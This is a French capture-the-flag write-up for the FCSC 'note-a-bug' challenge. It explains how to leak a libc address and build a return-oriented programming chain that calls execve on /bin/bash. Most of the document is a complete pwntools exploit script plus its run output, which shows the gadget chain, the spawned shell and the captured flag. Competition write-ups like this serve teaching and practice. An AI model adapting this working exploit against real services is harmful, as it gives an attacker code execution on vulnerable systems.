Description
On réutilise le code précédent, mais on ne peut pas utiliser l’offset fournit qui pointe vers /bin/sh
dans libc6
.
La solution proposée est de mettre la commande dans notre payload, rsi
pointe dessus au retour de la fonction newNote
.
Il faut trouver un gadget qui permet de faire mov rdi,rsi
avant d’appeler execve mais je n’en ai pas trouvé dans note-a-bug
.
J’ai donc aussi récupéré libc6
depuis le shell dans l’épreuve Red Beer.
En utilisant ropper
, j’y ai trouvé une combinaison de gadgets pour préparer les registres avant de sauter dans execve
.
J’ai perdu beaucoup de temps en pensant bêtement que l’offset du payload pointait vers execve
, ca plombait tous mes calculs et m’empechait d’utiliser libc6.
C’est en utilisant puts
depuis note-a-bug
que je m’en suis rendu compte, et que j’ai corrigé mes calculs.
Sans utiliser l’offset pseudo-execve du payload.
Restait à utiliser le leak pour trouver la base du segment executable de libc6 et pouvoir l’utiliser pour les gadgets et .. toutes ses fonctions dont execve
,
toujours en utilisant le shell du niveau précédent (cf. commentaires).
[+] Opening connection to 127.0.0.1 on port 4001: Done
leak : 0x7f7cc04631ca
libc base : 0x7f7cc0462000
[*] Loaded 27 cached gadgets for 'note-a-bug'
[*] Loaded 197 cached gadgets for 'libc.so.6'
0x0000: 0x7f7cc04c11b4 pop rax; pop rdx; pop rbx; ret
0x0008: 0x7f7cc047c285
0x0010: 0x0
0x0018: 0x7f7cc0510910 execve
0x0020: 0x401870 pop r12; ret
0x0028: 0x0
0x0030: 0x7f7cc04d65b2
[*] Switching to interactive mode
FSSC_057f78a3782bdf2291918362986e0bf2ab9394b6e4f8d8beb2eb80e5acd9e8d5\x00$
Exploit
#!/usr/bin/env python3
import json
import os
import re
from pwn import *
#context.log_level = "DEBUG" # usefull to debug leaks
context(arch='amd64')
LOCAL = False
if LOCAL:
r = process(['./note-a-bug','100'],stdin=PTY)
libcpath='libc.so.6.local'
rdbg = gdb.attach(r,gdbscript='''
break *0x40148C
c
c
''')
else:
r = remote("127.0.0.1", 4001, typ="tcp", timeout=2)
libcpath='libc.so.6'
data = r.recvuntil(b'ote\n0. Exit\n>>> ')
session=re.search('/fcsc/([a-zA-Z0-9]+)/',data.decode('ascii')).group(1)
r.sendline(b'1')
data = r.recvuntil(b'ontent length: \n')
filename=re.search('Creating note: ([a-zA-Z0-9]+)',data.decode('ascii')).group(1)
r.sendline(b'176')
data = r.recvuntil(b'Content: \n')
r.sendline(b'AAAAAAAA')
data = r.recvuntil(b'ote\n0. Exit\n>>> ')
r.sendline(b'2')
data = r.recvuntil(b't filename:\n>>> ')
r.sendline(session.encode('ascii')+b'/'+filename.encode('ascii'))
data = r.recvuntil(b'ote\n0. Exit\n>>> ')
# parse leak
start=14+81*10+37
leak=data[start:start+23]
leak=leak.decode('ascii').replace(' ','')
leak=unhex(leak)
leak=unpack(leak,'all')
print('leak : '+hex(leak))
# build exploit
binlibc=ELF(libcpath,checksec=False)
binlibc.address=leak-(0x7fbe4b3071ca-0x7fbe4b306000) # valeur depuis session 'Red Beer' ("grep PPid /proc/$$/status" pour remonter pstree et "grep libc /proc/$$/maps"), dans la famille "plages mémoires" on veut le grand père
print('libc base : '+hex(binlibc.address))
binlibc.address-=binlibc.get_section_by_name('.plt').header.sh_offset # fix for rop.resolving
binnab=ELF('note-a-bug',checksec=False)
rop=ROP([binnab,binlibc])
#rop.call('sleep',[10]) # tests
rop(rax=binlibc.address+0x0040285,rbx=rop.resolve('execve'),r12=0,rdx=0)
rop.raw(binlibc.address+0x009a5b2)
# -> 0x9a5b2 mov rdi,rsi; call rax -> 0x40285 mov rsi,r12; call rbx -> execve
print(rop.dump())
sc =flat(b'/bin/bash',b'\x00')
sc+=cyclic(104-len(sc))
sc+=rop.chain()
# trigger
r.sendline(b'1')
data = r.recvuntil(b'ontent length: \n')
r.sendline(str(len(sc)).encode('ascii'))
data = r.recvuntil(b'Content: \n')
r.sendline(sc)
# enjoy
r.sendline(b"cat /fcsc/ZBrKMnQJGebtYHDXrNxxF6hU2DzwJzX/*")
#print(r.recv())
r.interactive()